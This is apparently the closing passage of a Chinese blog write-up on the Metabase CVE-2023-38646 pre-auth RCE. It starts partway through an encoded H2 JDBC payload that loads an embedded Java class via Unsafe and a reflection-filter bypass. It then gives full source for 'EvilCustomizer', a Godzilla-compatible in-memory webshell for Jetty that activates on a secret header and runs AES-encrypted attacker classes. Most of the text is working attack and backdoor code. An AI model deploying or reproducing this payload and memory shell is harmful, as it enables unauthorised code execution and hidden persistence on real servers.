ABAAMAAgADwALAA0ADAAOABAAEABYAAAAFgACAAwABABZAFoAAQAAABEAWwBcAAAAXQAAABAAAv8ACwABBwBeAAEHAF8EAAEAYABVAAIAVgAAB0gABgAbAAADXLgABbYABkwrtgAHEgi2AAlNLAS2AAosK7YAC8AADMAADE4tOgQZBL42BQM2BhUGFQWiAyoZBBUGMjoHGQe2AAcSDbYACToIGQgEtgAKGQgZB7YACzoJGQnHAAanAvoZCbYABxIOtgAJOgoZCgS2AAoZChkJtgALOgsZC8cABqcC1xkLwAAPwAAPOgwZDDoNGQ2%2BNg4DNg8VDxUOogK1GQ0VDzI6EBkQxwAGpwKgGRC2AAcSELYACToRGREEtgAKGREZELYACzoSGRLHAAanAn2yABEZErYAB7YAErYAExkStgAHtgASEhS2ABWZAJcZErYABxIWAbYAFzoTGRMZEgG2ABg6EhkStgAHEhkEvQAaWQMSG1O2ABc6ExkTGRIEvQAcWQMSHVO2ABjAABs6FLsAHlm3AB8SILYAISoZFLYAIrYAIbYAIzoVGRK2AAcSJAS9ABpZAxIbU7YAFzoTGRMZEgS9ABxZAxIlU7YAGMAAJjoWGRYZFbYAJxkWtgAopwHcGRK2AAe2ABISKbYAFZkAtRkStgAHEioBtgArOhMZExkSAbYAGDoUGRS2AAcSFgG2ABc6ExkTGRQBtgAYOhIZErYABxIZBL0AGlkDEhtTtgAXOhMZExkSBL0AHFkDEh1TtgAYwAAbOhW7AB5ZtwAfEiC2ACEqGRW2ACK2ACG2ACM6FhkUtgAHEiwBtgAXOhMZExkUAbYAGDoSGRK2AAcSLQG2ABc6ExkTGRIBtgAYwAAmOhcZFxkWtgAnGRe2ACinARoZErYAB7YAEhIutgAVmQD5GRK2AAcSL7YACToTGRMEtgAKGRMZErYACzoUGRS2AAcSMLYACToWGRYEtgAKGRYZFLYACzoVpwAgOhYZFLYABxIxtgAJOhcZFwS2AAoZFxkUtgALOhUZFbYABxIWA70AGrYAFxkVA70AHLYAGDoWGRW2AAcSLAO9ABq2ABcZFQO9ABy2ABg6FxkWtgAHEhkEvQAaWQMSG1O2ABcZFgS9ABxZAxIdU7YAGMAAGzoYGRe2AAcSMgO9ABq2ABcZFwO9ABy2ABjAADM6GbsAHlm3AB8SILYAISoZGLYAIrYAIbYAIzoaGRkZGrYANLYANRkZtgA2pwAUhA8Bp%2F1KpwAFOgiEBgGn%2FNWxAAcCbwKKAo0AAwA7AFsDUwADAF4AfgNTAAMAgQF%2FA1MAAwGCAkEDUwADAkQDRwNTAAMDSgNQA1MAAwADAFcAAAEyAEwAAAATAAcAFAARABUAFgAWACIAGAA7ABoARwAbAE0AHABWAB0AWwAeAF4AIABqACEAcAAiAHkAIwB%2BACQAgQAmAIsAJwClACgAqgApAK0AKwC5ACwAvwAtAMgALgDNAC8A0AAxAN4AMgDuADMA%2BwA0AQUANQEaADYBLwA3AUkAOAFeADkBcwA6AXoAOwF%2FADwBggA9AZIAPgGfAD8BqQBAAbYAQQHAAEIB1QBDAeoARAIEAEUCEQBGAhsARwIoAEgCNQBJAjwASgJBAEsCRABMAlQATQJgAE4CZgBPAm8AUgJ7AFMCgQBUAooAWQKNAFUCjwBWApsAVwKhAFgCqgBaAsMAWwLcAFwDAgBdAx4AXgM4AF8DQgBgA0cAYQNKACcDUABlA1MAZANVABgDWwBnAFgAAAFWACIA%2BwCHAGEAYgATAS8AUwBjAGQAFAFJADkAZQBkABUBcwAPAGYAZwAWAZ8ApQBhAGIAEwGpAJsAaABpABQB6gBaAGMAZAAVAgQAQABlAGQAFgI1AA8AZgBnABcCewAPAGoAawAWAooAAwBsAGkAFQKbAA8AbQBrABcCjwAbAFkAWgAWAmAA6gBuAGsAEwJvANsAbwBpABQCqgCgAGwAaQAVAsMAhwBwAGkAFgLcAG4AcQBpABcDAgBIAGMAZAAYAx4ALAByAHMAGQM4ABIAZQBkABoAuQKRAHQAawARAMgCggB1AGkAEgClAqUAdgBpABAARwMJAHcAawAIAFYC%2BgB4AGkACQBqAuYAeQBrAAoAeQLXAHoAaQALAIsCxQB7AHwADAA7AxoAfQB%2BAAcAAANcAFsAXAAAAAcDVQB%2FAIAAAQARA0sAgQBrAAIAIgM6AIIAgwADAF0AAAEOAA%2F%2FAC0ABwcAXgcAhAcAhQcADAcADAEBAAD%2BADAHAIYHAIUHAIf9ACIHAIUHAIf%2FABUAEAcAXgcAhAcAhQcADAcADAEBBwCGBwCFBwCHBwCFBwCHBwAPBwAPAQEAAPwAFQcAh%2F0AIgcAhQcAh%2FsAsfsAwf8ASAAVBwBeBwCEBwCFBwAMBwAMAQEHAIYHAIUHAIcHAIUHAIcHAA8HAA8BAQcAhwcAhQcAhwcAhQcAhwABBwBf%2FAAcBwCH%2FwCfABAHAF4HAIQHAIUHAAwHAAwBAQcAhgcAhQcAhwcAhQcAhwcADwcADwEBAAD%2FAAUACAcAXgcAhAcAhQcADAcADAEBBwCGAABCBwBf%2BgAB%2BAAFAIgAAAAEAAEAAwABAIkAigABAFYAAAMTAAQACQAAAT8rxgE7EjcrtgA4mgEyEjm4ADq2ADtNK7YAPEwBTgE6BCwSPbYAPpkAQCsSP7YAPpkAICsSQLYAPpoAF7sAHlm3AB8rtgAhEkG2ACG2ACNMBr0AG1kDEh1TWQQSQlNZBStTOgSnAD0rEj%2B2AD6ZACArEkC2AD6aABe7AB5ZtwAfK7YAIRJDtgAhtgAjTAa9ABtZAxJEU1kEEkVTWQUrUzoEuABGGQS2AEdOuwBIWS22AEm3AEoSS7YATDoFGQW2AE2ZAAsZBbYATqcABRI3Oga7AEhZLbYAT7cAShJLtgBMOgW7AB5ZtwAfGQa2ACEZBbYATZkACxkFtgBOpwAFEje2ACG2ACM6BhkGOgctxgAHLbYAUBkHsDoFGQW2AAQZBbYAUToGLcYABy22AFAZBrA6CC3GAActtgBQGQi%2FElKwAAQAoAELARYAAwCgAQsBLwAAARYBJAEvAAABLwExAS8AAAADAFcAAAB%2BAB8AAABqAA0AawAWAGwAGwBtAB0AbgAgAG8AKQBwADsAcQBPAHMAZgB1AHgAdgCMAHgAoAB7AKkAfAC7AH0AzwB%2BAOEAfwEHAIABCwCFAQ8AhgETAIABFgCBARgAggEdAIMBJACFASgAhgEsAIMBLwCFATUAhgE5AIgBPACKAFgAAABSAAgAuwBbAIsAjAAFAM8ARwCNAGQABgEYABcAWQBaAAUAFgEmAI4AZAACAB0BHwCPAJAAAwAgARwAkQCSAAQAAAE%2FAFsAXAAAAAABPwBjAGQAAQBdAAAAxgAO%2FgBPBwCTBwCUBwCVFiUT%2FAAqBwCWQQcAk%2F8ALwAHBwBeBwCTBwCTBwCUBwCVBwCWBwCTAAEHAJf%2FAAEABwcAXgcAkwcAkwcAlAcAlQcAlgcAkwACBwCXBwCT%2FAATBwCT%2FwACAAUHAF4HAJMHAJMHAJQHAJUAAQcAX%2F0AFQcAXwcAk%2F8AAgAFBwBeBwCTBwCTBwCUBwCVAAEHAJj%2FAAkACQcAXgcAkwcAkwcAlAcAlQAAAAcAmAAA%2FwACAAIHAF4HAJMAAAABAJkAAAACAJo%3D%22%3B%0A%20%20var%20bytes%20%3D%20java.util.Base64.getDecoder().decode(classBytes)%3B%0A%20%20var%20clz%20%3D%20null%3B%0A%20%20var%20version%20%3D%20java.lang.System.getProperty(%22java.version%22)%3B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classLoader%20%3D%20new%20java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.net.URL%22)%2C%200))%3B%0A%20%20try%7B%0A%20%20%20%20if%20(version.split(%22.%22)%5B0%5D%20%3E%3D%2011)%20%7B%0A%20%20%20%20%20%20bypassReflectionFilter()%3B%0A%20%20%20%20%20%20defineClassMethod%20%3D%20java.lang.Class.forName(%22java.lang.ClassLoader%22).getDeclaredMethod(%22defineClass%22%2C%20java.lang.Class.forName(%22%5BB%22)%2Cjava.lang.Integer.TYPE%2C%20java.lang.Integer.TYPE)%3B%0A%20%20%20%20%20%20setAccessible(defineClassMethod)%3B%20%0A%20%20%20%20%20%20clz%20%3D%20defineClassMethod.invoke(classLoader%2C%20bytes%2C%200%2C%20bytes.length)%3B%0A%20%20%20%20%7Delse%7B%0A%20%20%20%20%20%20var%20protectionDomain%20%3D%20new%20java.security.ProtectionDomain(new%20java.security.CodeSource(null%2C%20java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.security.cert.Certificate%22)%2C%200))%2C%20null%2C%20classLoader%2C%20%5B%5D)%3B%0A%20%20%20%20%20%20clz%20%3D%20unsafe.defineClass(null%2C%20bytes%2C%200%2C%20bytes.length%2C%20classLoader%2C%20protectionDomain)%3B%0A%20%20%20%20%7D%0A%20%20%7Dcatch(error)%7B%0A%20%20%20%20error.printStackTrace()%3B%0A%20%20%7Dfinally%7B%0A%20%20%20%20return%20clz.newInstance()%3B%0A%20%20%7D%0A%7D%0AdefineClass()%3B'))\u000A$$"
},"name":"1","engine":"h2"}}

image-20250419221932494

哥斯拉内存马构造

橘子酱师傅发现jetty 有一类叫做 customizer 的handler 看起来和tomcat的Valve类似。

利用y4er文章中的模板,下面是具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import org.eclipse.jetty.server.*;
import sun.misc.Unsafe;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.PrintWriter;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;


public class EvilCustomizer implements HttpConfiguration.Customizer {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;

public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}

public EvilCustomizer() {

}

public EvilCustomizer(int s) {
System.out.println(s);
}

static {
try {
HttpConnection valueField = getValueField();
valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new EvilCustomizer(1));
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}

private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}

private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for (int i = 0; i < threads.length; i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for (int j = 0; j < table.length; j++) {
try {
Object value = unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if (value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) {
return (HttpConnection) value;
}
} catch (Exception e) {

}
}

} catch (Exception e) {

}
}
return null;
}

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}

@Override
public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) {
try {
if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
PrintWriter writer = request.getResponse().getWriter();
writer.write(md5.substring(0, 16));
f.toString();
writer.write(base64Encode(x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
}
}
} catch (Exception e) {
}
}
}

利用上面的Jspayload实例化就行,注意哥斯拉请求头需要添加x-client-data: godzilla

image-20250419224418858

参考连接

调试 Jar包

从JDBC到h2 database任意命令执行

CVE-2023-38646 Metabase未授权JDBC远程代码执行漏洞复现

https://t.zsxq.com/mSKFL

https://t.zsxq.com/e1bdn

CVE-2023-38646 Metabase RCE

Fuzz中的javascript大小写特性

漏洞分析|Metabase 远程代码执行(CVE-2023-38646): H2 JDBC 深入利用

CVE-2023-38646 Metabase未授权JDBC RCE

一种在高版本JDK下 的新型嵌入式Jetty Customizer内存马实现

解决哥斯拉内存马pagecontext的问题


Metabase RCE分析及内存马构造
https://sp4rks3.github.io/2025/04/19/JAVA安全/漏洞复现/Metabase RCE 分析/
作者
Sp4rks3
发布于
2025年4月19日
许可协议